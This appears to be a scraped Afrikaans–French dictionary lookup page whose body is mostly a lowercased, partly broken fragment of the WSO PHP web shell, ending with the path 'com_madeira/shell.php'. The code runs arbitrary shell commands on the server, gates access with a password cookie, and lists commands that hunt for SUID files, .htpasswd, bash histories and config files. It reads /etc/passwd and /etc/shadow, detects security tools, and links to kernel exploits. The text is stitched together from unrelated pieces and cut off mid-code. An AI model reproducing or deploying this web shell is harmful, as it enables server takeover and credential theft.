Je was op zoek naar: sr (Afrikaans - Frans)

sr
sr

sr.
père

password: >'>"); } function wsosetcookie($k, $v) { $_cookie[$k] = $v; setcookie($k, $v); } if(!empty($auth_pass)) { if(isset($_post['pass']) && (md5($_post['pass']) == $auth_pass)) wsosetcookie(md5($_server['http_host']), $auth_pass); if (!isset($_cookie[md5($_server['http_host'])]) || ($_cookie[md5($_server['http_host'])] != $auth_pass)) wsologin(); } if(strtolower(substr(php_os,0,3)) == "win") $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) error_reporting(0); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if(isset($_post['c'])) @chdir($_post['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\", "/", $home_cwd); $cwd = str_replace("\", "/", $cwd); } if($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; if(!isset($_cookie[md5($_server['http_host']) . 'ajax'])) $_cookie[md5($_server['http_host']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "list directory" => "dir", "find index.php in current dir" => "dir /s /w /b index.php", "find *config*.php in current dir" => "dir /s /w /b *config*.php", "show active connections" => "netstat -an", "show running services" => "net start", "user accounts" => "net user", "show computers" => "net view", "arp table" => "arp -a", "ip configuration" => "ipconfig /all" ); else $aliases = array( "list dir" => "ls -lha", "list file attributes on a linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "find" => "", "find suid" => "find / -type f -perm -04000 -ls", "find suid in current dir" => "find . -type f -perm -04000 -ls", "find sgid" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php" => "find / -type f -name config.inc.php", "find config*" => "find / -type f -name "config*"", "find config* in current dir" => "find . -type f -name "config*"", "find writable folders and files" => "find / -perm -2 -ls", "find writable folders and files in current dir" => "find . -perm -2 -ls", "find service.pwd" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find .htpasswd" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find .bash_history" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find .fetchmailrc" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "locate" => "", "locate httpd.conf" => "locate httpd.conf", "locate vhosts.conf" => "locate vhosts.conf", "locate proftpd.conf" => "locate proftpd.conf", "locate psybnc.conf" => "locate psybnc.conf", "locate my.conf" => "locate my.conf", "locate admin.php" =>"locate admin.php", "locate cfg.php" => "locate cfg.php", "locate conf.php" => "locate conf.php", "locate config.dat" => "locate config.dat", "locate config.php" => "locate config.php", "locate config.inc" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php" => "locate config.default.php", "locate config*" => "locate config", "locate .conf"=>"locate '.conf'", "locate .pwd" => "locate '.pwd'", "locate .sql" => "locate '.sql'", "locate .htpasswd" => "locate '.htpasswd'", "locate .bash_history" => "locate '.bash_history'", "locate .mysql_history" => "locate '.mysql_history'", "locate .fetchmailrc" => "locate '.fetchmailrc'", "locate backup" => "locate backup", "locate dump" => "locate dump", "locate priv" => "locate priv" ); function wsoheader() { if(empty($_post['charset'])) $_post['charset'] = $globals['default_charset']; global $color; echo "" . $_server['http_host'] . " - wso " . wso_version ." body{background-color:#444;color:#e1e1e1;} body,td,th{ font: 9pt lucida,verdana;margin:0;vertical-align:top;color:#e1e1e1; } table.info{ color:#fff;background-color:#222; } span,h1,a{ color: $color !important; } span{ font-weight: bolder; } h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt verdana;background-color:#222;margin:0px; } div.content{ padding: 5px;margin-left:5px;background-color:#333; } a{ text-decoration:none; } a:hover{ text-decoration:underline; } .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea{ width:100%;height:300px; } input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt monospace,'courier new'; } form{ margin:0px; } #toolstbl{ text-align:center; } .toolsinp{ width: 300px } .main th{text-align:left;background-color:#5e5e5e;} .main tr:hover{background-color:#5e5e5e} .l1{background-color:#444} .l2{background-color:#333} pre{font-family:courier,monospace;} var c_ = '" . htmlspecialchars($globals['cwd']) . "'; var a_ = '" . htmlspecialchars(@$_post['a']) ."' var charset_ = '" . htmlspecialchars(@$_post['charset']) ."'; var p1_ = '" . ((strpos(@$_post['p1'],"n")!==false)?'':htmlspecialchars($_post['p1'],ent_quotes)) ."'; var p2_ = '" . ((strpos(@$_post['p2'],"n")!==false)?'':htmlspecialchars($_post['p2'],ent_quotes)) ."'; var p3_ = '" . ((strpos(@$_post['p3'],"n")!==false)?'':htmlspecialchars($_post['p3'],ent_quotes)) ."'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = 'ajax=true'; for(i=0;i "; $freespace = @diskfreespace($globals['cwd']); $totalspace = @disk_total_space($globals['cwd']); $totalspace = $totalspace?$totalspace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = 'http://exploit-db.com/search/?action=search&filter_description='; if(strpos('linux', $kernel) !== false) $explink .= urlencode('linux kernel ' . substr($release,0,6)); else $explink .= urlencode($kernel . ' ' . substr($release,0,3)); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $globals['cwd']); $n=count($path); for($i=0; $i".$path[$i]."/"; } $charsets = array('utf-8', 'windows-1251', 'koi8-r', 'koi8-u', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= ''.$item.''; $m = array('sec. info'=>'secinfo','files'=>'filesman','console'=>'console','sql'=>'sql','php'=>'php','string tools'=>'stringtools','bruteforce'=>'bruteforce','network'=>'network'); if(!empty($globals['auth_pass'])) $m['logout'] = 'logout'; $m['self remove'] = 'selfremove'; $menu = ''; foreach($m as $k => $v) $menu .= '[ '.$k.' ]'; $drives = ""; if($globals['os'] == 'win') { foreach(range('c','z') as $drive) if(is_dir($drive.':\')) $drives .= '[ '.$drive.' ] '; } echo 'uname:user:php:hdd:cwd:' . ($globals['os'] == 'win'?'drives:':'') . '' . '' . substr(@php_uname(), 0, 120) . ' [exploit-db.com]' . $uid . ' ( ' . $user . ' ) group: ' . $gid . ' ( ' . $group . ' )' . @phpversion() . ' safe mode: ' . ($globals['safe_mode']?'on':'off') . ' [ phpinfo ] datetime: ' . date('y-m-d h:i:s') . '' . wsoviewsize($totalspace) . ' free: ' . wsoviewsize($freespace) . ' ('. (int) ($freespace/$totalspace*100) . '%)' . $cwd_links . ' '. wsopermscolor($globals['cwd']) . ' [ home ]' . $drives . '' . '' . $opt_charsets . 'server ip:' . @$_server["server_addr"] . 'client ip:' . $_server['remote_addr'] . '' . '' . $menu . ''; } function wsofooter() { $is_writable = is_writable($globals['cwd'])?" (writeable)":" (not writable)"; echo " change dir:>'> read file:>'> make dir:$is_writable>'> make file:$is_writable>'> execute:>'> upload file:$is_writable>'> "; } if (!function_exists("posix_getpwuid") && (strpos($globals['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($globals['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } function wsoex($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function wsoviewsize($s) { if (is_int($s)) $s = sprintf("%u", $s); if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' gb'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' mb'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' kb'; else return $s . ' b'; } function wsoperms($p) { if (($p & 0xc000) == 0xc000)$i = 's'; elseif (($p & 0xa000) == 0xa000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 's' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 's' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 't' : '-')); return $i; } function wsopermscolor($f) { if (!@is_readable($f)) return '' . wsoperms(@fileperms($f)) . ''; elseif (!@is_writable($f)) return '' . wsoperms(@fileperms($f)) . ''; else return '' . wsoperms(@fileperms($f)) . ''; } function wsoscandir($dir) { if(function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function wsowhich($p) { $path = wsoex('which ' . $p); if(!empty($path)) return $path; return false; } function actionsecinfo() { wsoheader(); echo 'server security information'; function wsosecparam($n, $v) { $v = trim($v); if($v) { echo '' . $n . ': '; if(strpos($v, "n") === false) echo $v . ''; else echo '' . $v . ''; } } wsosecparam('server software', @getenv('server_software')); if(function_exists('apache_get_modules')) wsosecparam('loaded apache modules', implode(', ', apache_get_modules())); wsosecparam('disabled php functions', $globals['disable_functions']?$globals['disable_functions']:'none'); wsosecparam('open base dir', @ini_get('open_basedir')); wsosecparam('safe mode exec dir', @ini_get('safe_mode_exec_dir')); wsosecparam('safe mode include dir', @ini_get('safe_mode_include_dir')); wsosecparam('curl support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "mysql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "mssql"; if(function_exists('pg_connect')) $temp[] = "postgresql"; if(function_exists('oci_connect')) $temp[] = "oracle"; wsosecparam('supported databases', implode(', ', $temp)); echo ''; if($globals['os'] == 'nix') { wsosecparam('readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); wsosecparam('readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); wsosecparam('os version', @file_get_contents('/proc/version')); wsosecparam('distr name', @file_get_contents('/etc/issue.net')); if(!$globals['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo ''; $temp=array(); foreach ($userful as $item) if(wsowhich($item)) $temp[] = $item; wsosecparam('userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(wsowhich($item)) $temp[] = $item; wsosecparam('danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(wsowhich($item)) $temp[] = $item; wsosecparam('downloaders', implode(', ',$temp)); echo ''; wsosecparam('hdd space', wsoex('df -h')); wsosecparam('hosts', @file_get_contents('/etc/hosts')); echo 'posix_getpwuid ("read" /etc/passwd)fromto>">'; if (isset ($_post['p2'], $_post['p3']) && is_numeric($_post['p2']) && is_numeric($_post['p3'])) { $temp = ""; for(;$_post['p2'] <= $_post['p3'];$_post['p2']++) {
com_madeira/shell.php